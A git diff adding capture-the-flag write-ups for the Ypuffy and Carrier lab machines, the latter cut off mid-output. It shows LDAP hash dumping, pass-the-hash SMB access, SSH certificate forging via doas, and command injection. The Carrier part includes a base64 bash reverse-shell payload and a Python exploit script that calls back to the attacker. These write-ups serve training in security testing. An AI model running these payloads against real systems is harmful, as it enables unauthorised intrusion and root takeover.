CFXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! We have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/32_graph.png) + diff --git a/Medium/33.md b/Medium/33.md new file mode 100644 index 0000000..fe6f780 --- /dev/null +++ b/Medium/33.md @@ -0,0 +1,538 @@ +# Ypuffy Writeup + +![](img/33.png) + +## Introduction : + +Ypuffy is a Medium box released back in September 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + {Ø} nothing [ 10.10.14.24/23 ] [~] + → nmap -F 10.10.10.107 --top-ports 10000 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-22 07:56 GMT + Nmap scan report for 10.10.10.107 + Host is up (0.062s latency). + Not shown: 8315 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + 139/tcp open netbios-ssn + 389/tcp open ldap + 445/tcp open microsoft-ds + + Nmap done: 1 IP address (1 host up) scanned in 4.05 seconds + + {Ø} nothing [ 10.10.14.24/23 ] [~] + → nmap -sCV -p22,80,139,389,445 10.10.10.107 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-22 07:57 GMT + Nmap scan report for 10.10.10.107 + Host is up (0.046s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.7 (protocol 2.0) + | ssh-hostkey: + | 2048 2e:19:e6:af:1b:a7:b0:e8:07:2a:2b:11:5d:7b:c6:04 (RSA) + | 256 dd:0f:6a:2a:53:ee:19:50:d9:e5:e7:81:04:8d:91:b6 (ECDSA) + |_ 256 21:9e:db:bd:e1:78:4d:72:b0:ea:b4:97:fb:7f:af:91 (ED25519) + 80/tcp open http OpenBSD httpd + 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: YPUFFY) + 389/tcp open ldap (Anonymous bind OK) + 445/tcp open netbios-ssn Samba smbd 4.7.6 (workgroup: YPUFFY) + Service Info: Host: YPUFFY + + Host script results: + |_clock-skew: mean: 1h20m16s, deviation: 2h18m34s, median: 15s + | smb-os-discovery: + | OS: Windows 6.1 (Samba 4.7.6) + | Computer name: ypuffy + | NetBIOS computer name: YPUFFY\x00 + | Domain name: hackthebox.htb + | FQDN: ypuffy.hackthebox.htb + |_ System time: 2020-03-22T03:57:40-04:00 + | smb-security-mode: + | account_used: + | authentication_level: user + | challenge_response: supported + |_ message_signing: disabled (dangerous, but default) + | smb2-security-mode: + | 2.02: + |_ Message signing enabled but not required + | smb2-time: + | date: 2020-03-22T07:57:39 + |_ start_date: N/A + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 24.97 seconds + + {Ø} nobody [ 10.10.14.24/23 ] [/home/nihilist] + → echo '10.10.10.107 ypuffy.htb' >> /etc/hosts + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 389 running the LDAP service with anonymous bind , so let's investigate it using ldapsearch: + + + [0] nothing [ 10.10.14.24/23 ] [~] + → ldapsearch -h 10.10.10.107 -p 389 -x -b dc=hackthebox,dc=htb + # extended LDIF + # + # LDAPv3 + # base <****dc=hackthebox,dc=htb> with scope subtree + # filter: (objectclass=*) + # requesting: ALL + # + + # hackthebox.htb + dn: dc=hackthebox,dc=htb + dc: hackthebox + objectClass: top + objectClass: domain + + # passwd, hackthebox.htb + dn: ou=passwd,dc=hackthebox,dc=htb + ou: passwd + objectClass: top + objectClass: organizationalUnit + + # bob8791, passwd, hackthebox.htb + dn: uid=bob8791,ou=passwd,dc=hackthebox,dc=htb + uid: bob8791 + cn: Bob + objectClass: account + objectClass: posixAccount + objectClass: top + userPassword:: e0JTREFVVEh9Ym9iODc5MQ== + uidNumber: 5001 + gidNumber: 5001 + gecos: Bob + homeDirectory: /home/bob8791 + loginShell: /bin/ksh + + # alice1978, passwd, hackthebox.htb + dn: uid=alice1978,ou=passwd,dc=hackthebox,dc=htb + uid: alice1978 + cn: Alice + objectClass: account + objectClass: posixAccount + objectClass: top + objectClass: sambaSamAccount + userPassword:: e0JTREFVVEh9YWxpY2UxOTc4 + uidNumber: 5000 + gidNumber: 5000 + gecos: Alice + homeDirectory: /home/alice1978 + loginShell: /bin/ksh + sambaSID: S-1-5-21-3933741069-3307154301-3557023464-1001 + displayName: Alice + sambaAcctFlags: [U ] + sambaPasswordHistory: 00000000000000000000000000000000000000000000000000000000 + sambaNTPassword: 0B186E661BBDBDCF6047784DE8B9FD8B + sambaPwdLastSet: 1532916644 + +There we have something interesting : alice1978 is an username, and we have her smb NT password hash 0B186E661BBDBDCF6047784DE8B9FD8B , therefore from there we can enumerate the smb service running on the box, using crackmapexec or smbclient just like on the []() box. + + + {Ø} nothing [ 10.10.14.24/23 ] [~] + → crackmapexec smb ypuffy.htb -u alice1978 -H 0B186E661BBDBDCF6047784DE8B9FD8B --shares + SMB 10.10.10.107 445 YPUFFY [*] Windows 6.1 (name:YPUFFY) (domain:YPUFFY) (signing:False) (SMBv1:True) + SMB 10.10.10.107 445 YPUFFY [+] YPUFFY\alice1978 0B186E661BBDBDCF6047784DE8B9FD8B + SMB 10.10.10.107 445 YPUFFY [+] Enumerated shares + SMB 10.10.10.107 445 YPUFFY Share Permissions Remark + SMB 10.10.10.107 445 YPUFFY ----- ----------- ------ + SMB 10.10.10.107 445 YPUFFY alice READ,WRITE Alice's Windows Directory + SMB 10.10.10.107 445 YPUFFY IPC$ IPC Service (Samba Server) + + {Ø} nothing [ 10.10.14.24/23 ] [~] + → smbclient -U alice1978%0B186E661BBDBDCF6047784DE8B9FD8B --pw-nt-hash -L //ypuffy.htb/ + + Sharename Type Comment + --------- ---- ------- + alice Disk Alice's Windows Directory + IPC$ IPC IPC Service (Samba Server) + SMB1 disabled -- no workgroup available + + + + + +There are 2 shares : alice and IPC$, we have the RW permissions to the alice share, however with no access to IPC$ so let's use smbclient to log into the alice's windows directory share and get whatever we can from it: + + + {Ø} nothing [ 10.10.14.24/23 ] [~] + → smbclient -U alice1978%0B186E661BBDBDCF6047784DE8B9FD8B --pw-nt-hash //ypuffy.htb/alice + Try "help" to get a list of possible commands. + smb: \> ls + . D 0 Sun Mar 22 08:09:56 2020 + .. D 0 Wed Aug 1 04:16:50 2018 + my_private_key.ppk A 1460 Tue Jul 17 02:38:51 2018 + + 433262 blocks of size 1024. 411540 blocks available + smb: \> get my_private_key.ppk + getting file \my_private_key.ppk of size 1460 as my_private_key.ppk (7.9 KiloBytes/sec) (average 7.9 KiloBytes/sec) + smb: \> exit + + {Ø} nothing [ 10.10.14.24/23 ] [~] + → mkdir _HTB/Ypuffy + + {Ø} nothing [ 10.10.14.24/23 ] [~] + → mv my_private_key.ppk _HTB/Ypuffy && cd _HTB/Ypuffy && file my_private_key.ppk + my_private_key.ppk: ASCII text, with CRLF line terminators + + +printing out it's contents we see that it is a PuTTY user SSH private key : + + + {Ø} nothing [ 10.10.14.24/23 ] [~/_HTB/Ypuffy] + → cat my_private_key.ppk + PuTTY-User-Key-File-2: ssh-rsa + Encryption: none + Comment: rsa-key-20180716 + Public-Lines: 6 + AAAAB3NzaC1yc2EAAAABJQAAAQEApV4X7z0KBv3TwDxpvcNsdQn4qmbXYPDtxcGz + 1am2V3wNRkKR+gRb3FIPp+J4rCOS/S5skFPrGJLLFLeExz7Afvg6m2dOrSn02qux + BoLMq0VSFK5A0Ep5Hm8WZxy5wteK3RDx0HKO/aCvsaYPJa2zvxdtp1JGPbN5zBAj + h7U8op4/lIskHqr7DHtYeFpjZOM9duqlVxV7XchzW9XZe/7xTRrbthCvNcSC/Sxa + iA2jBW6n3dMsqpB8kq+b7RVnVXGbBK5p4n44JD2yJZgeDk+1JClS7ZUlbI5+6KWx + ivAMf2AqY5e1adjpOfo6TwmB0Cyx0rIYMvsog3HnqyHcVR/Ufw== + Private-Lines: 14 + AAABAH0knH2xprkuycHoh18sGrlvVGVG6C2vZ9PsiBdP/5wmhpYI3Svnn3ZL8CwF + VGaXdidhZunC9xmD1/QAgCgTz/Fh5yl+nGdeBWc10hLD2SeqFJoHU6SLYpOSViSE + cOZ5mYSy4IIRgPdJKwL6NPnrO+qORSSs9uKVqEdmKLm5lat9dRJVtFlG2tZ7tsma + hRM//9du5MKWWemJlW9PmRGY6shATM3Ow8LojNgnpoHNigB6b/kdDozx6RIf8b1q + Gs+gaU1W5FVehiV6dO2OjHUoUtBME01owBLvwjdV/1Sea/kcZa72TYIMoN1MUEFC + 3hlBVcWbiy+O27JzmDzhYen0Jq0AAACBANTBwU1DttMKKphHAN23+tvIAh3rlNG6 + m+xeStOxEusrbNL89aEU03FWXIocoQlPiQBr3s8OkgMk1QVYABlH30Y2ZsPL/hp6 + l4UVEuHUqnTfEOowVTcVNlwpNM8YLhgn+JIeGpJZqus5JK/pBhK0JclenIpH5M2v + 4L9aKFwiMZxfAAAAgQDG+o9xrh+rZuQg8BZ6ZcGGdszZITn797a4YU+NzxjP4jR+ + qSVCTRky9uSP0i9H7B9KVnuu9AfzKDBgSH/zxFnJqBTTykM1imjt+y1wVa/3aLPh + hKxePlIrP3YaMKd38ss2ebeqWy+XJYwgWOsSw8wAQT7fIxmT8OYfJRjRGTS74QAA + AIEAiOHSABguzA8sMxaHMvWu16F0RKXLOy+S3ZbMrQZr+nDyzHYPaLDRtNE2iI5c + QLr38t6CRO6zEZ+08Zh5rbqLJ1n8i/q0Pv+nYoYlocxw3qodwUlUYcr1/sE+Wuvl + xTwgKNIb9U6L6OdSr5FGkFBCFldtZ/WSHtbHxBabb0zpdts= + Private-MAC: 208b4e256cd56d59f70e3594f4e2c3ca91a757c9 + + +Now we need to convert this putty private key into a ssh private key, to do so we'll use puttygen (apt install putty-tools) + + + {Ø} nothing [ 10.10.14.24/23 ] [~/_HTB/Ypuffy] + → puttygen + Usage: puttygen ( keyfile | -t type [ -b bits ] ) + [ -C comment ] [ -P ] [ -q ] + [ -o output-keyfile ] [ -O type | -l | -L | -p ] + Use "puttygen --help" for more detail. + + {Ø} nothing [ 10.10.14.24/23 ] [~/_HTB/Ypuffy] + → puttygen my_private_key.ppk -O private-openssh -o pkey + + {Ø} nothing [ 10.10.14.24/23 ] [~/_HTB/Ypuffy] + → file pkey + pkey: PEM RSA private key + + {Ø} nothing [ 10.10.14.24/23 ] [~/_HTB/Ypuffy] + → chmod 600 pkey + + {Ø} nothing [ 10.10.14.24/23 ] [~/_HTB/Ypuffy] + → ssh -i pkey alice@ypuffy.htb + + + +Once we transformed the putty key into a ssh private key, we give it the appropriate permissions and use it to ssh into the box: + + + [0] nothing [ 10.10.14.24/23 ] [~/_HTB/Ypuffy] + → ssh -i pkey alice1978@ypuffy.htb + OpenBSD 6.3 (GENERIC) #100: Sat Mar 24 14:17:45 MDT 2018 + + Welcome to OpenBSD: The proactively secure Unix-like operating system. + + Please use the sendbug(1) utility to report bugs in the system. + Before reporting a bug, please try to reproduce it with the latest + version of the code. With bug reports, please try to ensure that + enough information to reproduce the problem is enclosed, and if a + known fix for it exists, include that as well. + + ypuffy$ uname -a + OpenBSD ypuffy.hackthebox.htb 6.3 GENERIC#100 amd64 + ypuffy$ ls + user.txt windir + ypuffy$ cat user.txt + acXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And we have the user flag! + +## **Part 3 : Getting Root Access** + +Now in order to privesc on this box we need to take a look into /etc: + + + ypuffy$ cd /etc + ypuffy$ ls + X11 doas.conf hosts mail npppd rc.conf ssh + acme dumpdates hotplug mail.rc ntpd.conf rc.conf.local ssl + acme-client.conf examples httpd.conf mailer.conf openldap rc.d sysctl.conf + adduser.conf fbtab iked master.passwd pam.d resolv.conf syslog.conf + amd firmware isakmpd moduli passwd rmt termcap + authpf fonts ksh.kshrc monthly pf.conf rpc ttys + avahi fstab ldap motd pf.os samba usermgmt.conf + changelist ftpusers ldapd.conf mtree pkcs11 services weekly + cups gamin localtime mygate ppp shells ypldap.conf + daily gettytab locate.rc myname protocols signify + dbus-1 group login.conf netstart pwd.db skel + defaultdomain group.bak machine-id networks random.seed soii.key + disktab hostname.em0 magic newsyslog.conf rc spwd.db + ypuffy$ cat httpd.conf + server "ypuffy.hackthebox.htb" { + listen on * port 80 + + location "/userca*" { + root "/userca" + root strip 1 + directory auto index + } + + location "/sshauth*" { + fastcgi socket "/run/wsgi/sshauthd.socket" + } + + location * { + block drop + } + } + + + +/etc/httpd.conf hints us for a directory named "userca", and looking into /home we see that there are 3 users on the box : + + + ypuffy$ ls /home + alice1978 bob8791 userca + ypuffy$ ls /home/bob8791 + dba + ypuffy$ ls /home/userca + ca ca.pub + ypuffy$ ls /home/alice1978 + user.txt windir + + +bob has an interesting directory called "dba" which contains a sql script: + + + ypuffy$ cd /home/bob8791 + ypuffy$ ls + dba + ypuffy$ cd dba + ypuffy$ ls -lash + total 12 + 4 drwxr-xr-x 2 bob8791 bob8791 512B Jul 30 2018 . + 4 drwxr-xr-x 3 bob8791 bob8791 512B Jul 30 2018 .. + 4 -rw-r--r-- 1 bob8791 bob8791 268B Jul 30 2018 sshauth.sql + ypuffy$ cat sshauth.sql + CREATE TABLE principals ( + uid text, + client cidr, + principal text, + PRIMARY KEY (uid,client,principal) + ); + + CREATE TABLE keys ( + uid text, + key text, + PRIMARY KEY (uid,key) + ); + grant select on principals,keys to appsrv; + + + +This script hints us towards ssh keys, so let's check out sshd_config in /etc/ssh + + + ypuffy$ cd /etc/ssh + ypuffy$ ls + ssh_config ssh_host_dsa_key.pub ssh_host_ecdsa_key.pub ssh_host_ed25519_key.pub ssh_host_rsa_key.pub + ssh_host_dsa_key ssh_host_ecdsa_key ssh_host_ed25519_key ssh_host_rsa_key sshd_config + ypuffy$ cat ssh_config + # $OpenBSD: ssh_config,v 1.33 2017/05/07 23:12:57 djm Exp $ + + # This is the ssh client system-wide configuration file. See + # ssh_config(5) for more information. This file provides defaults for + # users, and the values can be changed in per-user configuration files + # or on the command line. + + # Configuration data is parsed as follows: + # 1. command line options + # 2. user-specific file + # 3. system-wide file + # Any configuration value is only changed the first time it is set. + # Thus, host-specific definitions should be at the beginning of the + # configuration file, and defaults at the end. + + # Site-wide defaults for some commonly used options. For a comprehensive + # list of available options, their meanings and defaults, please see the + # ssh_config(5) man page. + + # Host * + # ForwardAgent no + # ForwardX11 no + # PasswordAuthentication yes + # HostbasedAuthentication no + # BatchMode no + # CheckHostIP yes + # AddressFamily any + # ConnectTimeout 0 + # StrictHostKeyChecking ask + # IdentityFile ~/.ssh/id_rsa + # IdentityFile ~/.ssh/id_dsa + # IdentityFile ~/.ssh/id_ecdsa + # IdentityFile ~/.ssh/id_ed25519 + # Port 22 + # Protocol 2 + # Ciphers aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc + # MACs hmac-md5,hmac-sha1,umac-64@openssh.com + # EscapeChar ~ + # Tunnel no + # TunnelDevice any:any + # PermitLocalCommand no + # VisualHostKey no + # ProxyCommand ssh -q -W %h:%p gateway.example.com + # RekeyLimit 1G 1h + ypuffy$ cat sshd_config + # $OpenBSD: sshd_config,v 1.102 2018/02/16 02:32:40 djm Exp $ + + # This is the sshd server system-wide configuration file. See + # sshd_config(5) for more information. + + # The strategy used for options in the default sshd_config shipped with + # OpenSSH is to specify options with their default value where + # possible, but leave them commented. Uncommented options override the + # default value. + + #Port 22 + #AddressFamily any + #ListenAddress 0.0.0.0 + #ListenAddress :: + + #HostKey /etc/ssh/ssh_host_rsa_key + #HostKey /etc/ssh/ssh_host_ecdsa_key + #HostKey /etc/ssh/ssh_host_ed25519_key + + # Ciphers and keying + #RekeyLimit default none + + # Logging + #SyslogFacility AUTH + #LogLevel INFO + + # Authentication: + + #LoginGraceTime 2m + PermitRootLogin prohibit-password + #StrictModes yes + #MaxAuthTries 6 + #MaxSessions 10 + + #PubkeyAuthentication yes + + # The default is to check both .ssh/authorized_keys and .ssh/authorized_keys2 + # but this is overridden so installations will only check .ssh/authorized_keys + AuthorizedKeysFile .ssh/authorized_keys + + #AuthorizedPrincipalsFile none + + AuthorizedKeysCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=keys&username;=%u + AuthorizedKeysCommandUser nobody + + TrustedUserCAKeys /home/userca/ca.pub + AuthorizedPrincipalsCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=principals&username;=%u + AuthorizedPrincipalsCommandUser nobody + + + + +Here we are hinted towards the local http service that can request ssh keys from /sshauth?type=keys&username;= and principals from /sslauth?type=principal&username;=, and as sshd_config hints us to do so we'll see what happens when we request the sslauth from principals for the username "root" : + + + ypuffy$ curl 'http://127.0.0.1/sshauth?type=principals&username;=root' + 3m3rgencyB4ckd00r + + +And so we have root's principal passphrase, so we can generate ssh keys in order to ssh as root with them : + + + ypuffy$ cat /etc/doas.conf + permit keepenv :wheel + permit nopass alice1978 as userca cmd /usr/bin/ssh-keygen + + +We see that alice1978 has permissions to use /usr/bin/ssh-keygen without supplying a password : + + + ypuffy$ id + uid=5000(alice1978) gid=5000(alice1978) groups=5000(alice1978) + ypuffy$ ssh-keygen -t rsa -f /tmp/nihilist + Generating public/private rsa key pair. + Enter passphrase (empty for no passphrase): + Enter same passphrase again: + Your identification has been saved in /tmp/nihilist. + Your public key has been saved in /tmp/nihilist.pub. + The key fingerprint is: + SHA256:cu3km8fxVx9ucce2sVFXTjWML8DA9QUWuvBMPPdbHaE alice1978@ypuffy.hackthebox.htb + The key's randomart image is: + +---[RSA 2048]----+ + | ..+. +=+o| + | ..o+.o.=| + | . =.E.+.| + | .= +...*| + | . S o+ .o=| + | o + . =O| + | o. o.o%| + | oo .=o| + | o. .. | + +----[SHA256]-----+ + + +We gave it the appropriate passphrase we found earlier, and now we'll use the ca certificate in /home/userca/ + + + ypuffy$ cd /home/userca + ypuffy$ ls + ca ca.pub + ypuffy$ doas -u userca /usr/bin/ssh-keygen -s ca -I root -n 3m3rgencyB4ckd00r /tmp/nihilist.pub + Signed user key /tmp/nihilist-cert.pub: id "root" serial 0 for 3m3rgencyB4ckd00r valid forever + ypuffy$ ssh -i /tmp/nihilist root@127.0.0.1 + The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established. + ECDSA key fingerprint is SHA256:oYYpshmLOvkyebJUObgH6bxJkOGRu7xsw3r7ta0LCzE. + Are you sure you want to continue connecting (yes/no)? yes + Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts. + Enter passphrase for key '/tmp/nihilist': + OpenBSD 6.3 (GENERIC) #100: Sat Mar 24 14:17:45 MDT 2018 + + Welcome to OpenBSD: The proactively secure Unix-like operating system. + + Please use the sendbug(1) utility to report bugs in the system. + Before reporting a bug, please try to reproduce it with the latest + version of the code. With bug reports, please try to ensure that + enough information to reproduce the problem is enclosed, and if a + known fix for it exists, include that as well. + + ypuffy# id + uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest) + ypuffy# cat /root/root.txt + 12XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +Once we signed the pkey we use it to ssh in as root, and print the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/33_graph.png) + diff --git a/Medium/34.md b/Medium/34.md new file mode 100644 index 0000000..7231ac2 --- /dev/null +++ b/Medium/34.md @@ -0,0 +1,569 @@ +# Carrier Writeup + +![](img/34.png) + +## Introduction : + +Carrier is a Medium linux box released back in September 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + {Ø} nothing [ 10.10.14.24/23 ] [~] + → nmap -F 10.10.10.105 --top-ports 10000 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-22 10:24 GMT + Nmap scan report for 10.10.10.105 + Host is up (0.044s latency). + Not shown: 8317 closed ports + PORT STATE SERVICE + 21/tcp filtered ftp + 22/tcp open ssh + 80/tcp open http + + Nmap done: 1 IP address (1 host up) scanned in 7.39 seconds + + {Ø} nothing [ 10.10.14.24/23 ] [~] + → nmap -sCV -p21,22,80 10.10.10.105 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-22 10:25 GMT + Nmap scan report for 10.10.10.105 + Host is up (0.044s latency). + + PORT STATE SERVICE VERSION + 21/tcp filtered ftp + 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 15:a4:28:77:ee:13:07:06:34:09:86:fd:6f:cc:4c:e2 (RSA) + | 256 37:be:de:07:0f:10:bb:2b:b5:85:f7:9d:92:5e:83:25 (ECDSA) + |_ 256 89:5a:ee:1c:22:02:d2:13:40:f2:45:2e:70:45:b0:c4 (ED25519) + 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) + | http-cookie-flags: + | /: + | PHPSESSID: + |_ httponly flag not set + |_http-server-header: Apache/2.4.18 (Ubuntu) + |_http-title: Login + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 10.42 seconds + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up the tcp ports by default, but the initial foothold of this box isn't a tcp port but instead it is an UDP port, which we'll discover using the appropriate scan: + + + {Ø} nothing [ 10.10.14.24/23 ] [~/_HTB/Carrier] + → sudo nmap -sU -F --max-retries 0 10.10.10.105 --top-ports 10000 -Pn + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-22 10:28 GMT + Warning: 10.10.10.105 giving up on port because retransmission cap hit (0). + Nmap scan report for 10.10.10.105 + Host is up (0.047s latency). + Not shown: 9979 open|filtered ports + PORT STATE SERVICE + 161/udp open snmp + 1664/udp closed netview-aix-4 + 10000/udp closed ndmp + 16716/udp closed unknown + 17172/udp closed unknown + 20169/udp closed unknown + 20437/udp closed unknown + 22711/udp closed unknown + 22864/udp closed unknown + 24356/udp closed unknown + 26839/udp closed unknown + 26941/udp closed unknown + 27680/udp closed unknown + 28933/udp closed unknown + 30008/udp closed unknown + 31736/udp closed unknown + 33866/udp closed unknown + 42031/udp closed unknown + 46459/udp closed unknown + 49201/udp closed unknown + 50049/udp closed unknown + + Nmap done: 1 IP address (1 host up) scanned in 14.40 seconds + + {Ø} nothing [ 10.10.14.24/23 ] [~/_HTB/Carrier] + → sudo nmap -sUCV -p161 10.10.10.105 -Pn + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-22 10:31 GMT + Nmap scan report for 10.10.10.105 + Host is up (0.041s latency). + + PORT STATE SERVICE VERSION + 161/udp open snmp SNMPv1 server; pysnmp SNMPv3 server (public) + | snmp-info: + | enterprise: pysnmp + | engineIDFormat: octets + | engineIDData: 77656201e70908 + | snmpEngineBoots: 2 + |_ snmpEngineTime: 1h47m41s + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 1.33 seconds + + +Now that we know we have a potentially vulnerable SNMPv1 server we can start enumerating port 80 using dirsearch: + + + {Ø} nothing [ 10.10.14.24/23 ] [~/_HTB/Carrier] + → dirsearch -u http://10.10.10.105/ -e txt,php,html,js,xml -t 200 + git clone https://github.com/maurosoria/dirsearch.git + dirsearch -u -e -t 50 -x 500 + + _|. _ _ _ _ _ _|_ v0.3.9 + (_||| _) (/_(_|| (_| ) + + Extensions: txt, php, html, js, xml | HTTP method: get | Threads: 200 | Wordlist size: 7517 + + Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-03-22_10-33-10.log + + Target: http://10.10.10.105/ + + [10:33:11] Starting: + [10:33:12] 403 - 301B - /.htaccess.save + [10:33:12] 403 - 301B - /.htaccess_orig + [10:33:12] 403 - 302B - /.htaccess-local + [10:33:12] 403 - 300B - /.htaccessOLD2 + [10:33:12] 403 - 299B - /.htaccess_sc + [10:33:12] 403 - 300B - /.htaccess.old + [10:33:12] 403 - 295B - /.htgroup + [10:33:12] 403 - 297B - /.htpasswds + [10:33:14] 301 - 309B - /js -> http://10.10.10.105/js/ + [10:33:17] 403 - 299B - /.htaccessOLD + [10:33:17] 403 - 297B - /.htaccess~ + [10:33:17] 403 - 300B - /.htpasswd-old + [10:33:17] 403 - 299B - /.htaccessBAK + [10:33:18] 403 - 300B - /.htaccess.txt + [10:33:18] 403 - 291B - /.hta + [10:33:18] 403 - 302B - /.htaccess-marco + [10:33:18] 403 - 300B - /.htaccess.BAK + [10:33:18] 403 - 301B - /.htaccess.bak1 + [10:33:18] 403 - 298B - /.ht_wsr.txt + [10:33:18] 403 - 303B - /.htaccess.sample + [10:33:18] 403 - 301B - /.htaccess.orig + [10:33:18] 403 - 300B - /.htaccess-dev + [10:33:20] 403 - 301B - /.htpasswd_test + [10:33:20] 403 - 295B - /.htusers + [10:33:21] 403 - 302B - /.htaccess_extra + [10:33:28] 301 - 310B - /css -> http://10.10.10.105/css/ + [10:33:28] 302 - 0B - /dashboard.php -> /index.php + [10:33:28] 301 - 312B - /debug -> http://10.10.10.105/debug/ + [10:33:29] 200 - 83KB - /debug/ + [10:33:29] 301 - 310B - /doc -> http://10.10.10.105/doc/ + [10:33:29] 200 - 1KB - /doc/ + [10:33:30] 301 - 312B - /fonts -> http://10.10.10.105/fonts/ + [10:33:32] 301 - 310B - /img -> http://10.10.10.105/img/ + [10:33:32] 200 - 1KB - /index.php + [10:33:32] 200 - 1KB - /index.php/login/ + [10:33:39] 403 - 300B - /server-status + [10:33:39] 403 - 301B - /server-status/ + [10:33:42] 301 - 312B - /tools -> http://10.10.10.105/tools/ + + Task Completed + + +The interesting directory here is "/debug" which reveals us that the server is using php v7.0.3 on ubuntu 16.04.1, and then "/index.php" which is a Lyghtspeed Login page: + +![](prg/34_001.png) + +Here we see that support for IPv6 is enabled so with the combination of snmp running on port 161/udp we are heavily reminded of the previous box [Sneaky](7.html). + +![](prg/34_002.png) + +Now our dirsearch scan also picked up the /doc directory and when we inspect it we are hinted towards a diagram: + +![](prg/34_003.png) + +and in doc/error_codes.pdf we are hinted towards the error codes we saw on the Lyghtspeed login page earlier : + +![](prg/34_004.png) + +So we know that the password to login as administrator on the platform is the serial number, which is why we need to enumerate our snmp service further and just like on the [ Sneaky](7.html) Box we'll use snmpwalk: + + + {Ø} nothing [ 10.10.14.24/23 ] [~/_HTB/Carrier] + → snmpwalk -v1 -c public 10.10.10.105 + iso.3.6.1.2.1.47.1.1.1.1.11 = STRING: "SN#NET_45JDX23" + End of MIB + + +This right here is our serial number, so we can login using the admin / NET_45JDX23 credentials. + +![](prg/34_005.png) + +Now from here we navigate in the Diagnostics tab and we are greeted with an alert message saying that diagnostics are restricted to built-in checks due to an invalid license, so we use burpsuite to interecpt the POST request we make as we click on the "verify status" button: + +![](prg/34_006.png) + +We intercept the request and send it to the repeater tab (CTRL+R) and go there (CTRL+SHIFT+R): + +![](prg/34_007.png) + +Looking at the request we are seeing a parameter called "check" whose value is a base64 encoded string which says "quagga" so we send the request to see what the response is: + +![](prg/34_008.png) + +Which looks like some kind of a code execution, so let's see if we can inject command into this base64 encoded check string: + +![](prg/34_009.png) + +And we get remote code execution as the root user ! Now let's open up a netcat listener and inject a reverse shell one liner: + +![](prg/34_010.png)5649c41df59fd6efdc4a78d79a07f2be check=cXVhZ2dhIDsgYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4yNC85MDAxIDA%2bJjEK + +And that's it ! we have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +In order to privesc the box we need to pivot as the network diagram we found earlier suggested, but to make sure we keep getting a consistant reverse shell we'll use Hipotermia's awesome python script to get us a reverse shell more easily: + + + {Ø} nothing [ 10.10.14.24/23 ] [~/_HTB/Carrier] + → nano user.shell.py + + + + + import requests + import netifaces + import base64 + + url = 'http://10.10.10.105/' + my_ip = netifaces.ifaddresses('tun0')[netifaces.AF_INET][0]['addr'] + payload = 'quagga; bash -i >& /dev/tcp/' + my_ip + '/6969 0>&1' + b64_payload = base64.b64encode(payload) + + s = requests.session() + s.post(url, data='username=admin&password;=NET_45JDX23', headers={'Content-Type':'application/x-www-form-urlencoded'}) + s.post(url+'/diag.php', data='check='+b64_payload, headers={'Content-Type':'application/x-www-form-urlencoded'}) + + + + + [0] nothing [ 10.10.14.24/23 ] [~/_HTB/Carrier] + → pip install netifaces + Collecting netifaces + Downloading https://files.pythonhosted.org/packages/7e/02/ad1a92a72620cc17d448fe4dbdfbdf8fe1487ee7bfd82bb48308712c2f3c/netifaces-0.10.9-cp27-cp27mu-manylinux1_x86_64.whl + Installing collected packages: netifaces + Successfully installed netifaces-0.10.9 + + {Ø} nothing [ 10.10.14.24/23 ] [~/_HTB/Carrier] + → python user.shell.py + + + + + {Ø} nothing [ 10.10.14.24/23 ] [~/_HTB/Carrier] + → nc -lvnp 6969 + Ncat: Version 7.80 ( https://nmap.org/ncat ) + Ncat: Listening on :::6969 + Ncat: Listening on 0.0.0.0:6969 + Ncat: Connection from 10.10.10.105. + Ncat: Connection from 10.10.10.105:56110. + bash: cannot set terminal process group (2301): Inappropriate ioctl for device + bash: no job control in this shell + root@r1:~# ifconfig + ifconfig + eth0 Link encap:Ethernet HWaddr 00:16:3e:d9:04:ea + inet addr:10.99.64.2 Bcast:10.99.64.255 Mask:255.255.255.0 + inet6 addr: fe80::216:3eff:fed9:4ea/64 Scope:Link + UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 + RX packets:223 errors:0 dropped:0 overruns:0 frame:0 + TX packets:154 errors:0 dropped:0 overruns:0 carrier:0 + collisions:0 txqueuelen:1000 + RX bytes:30870 (30.8 KB) TX bytes:30873 (30.8 KB) + + eth1 Link encap:Ethernet HWaddr 00:16:3e:8a:f2:4f + inet 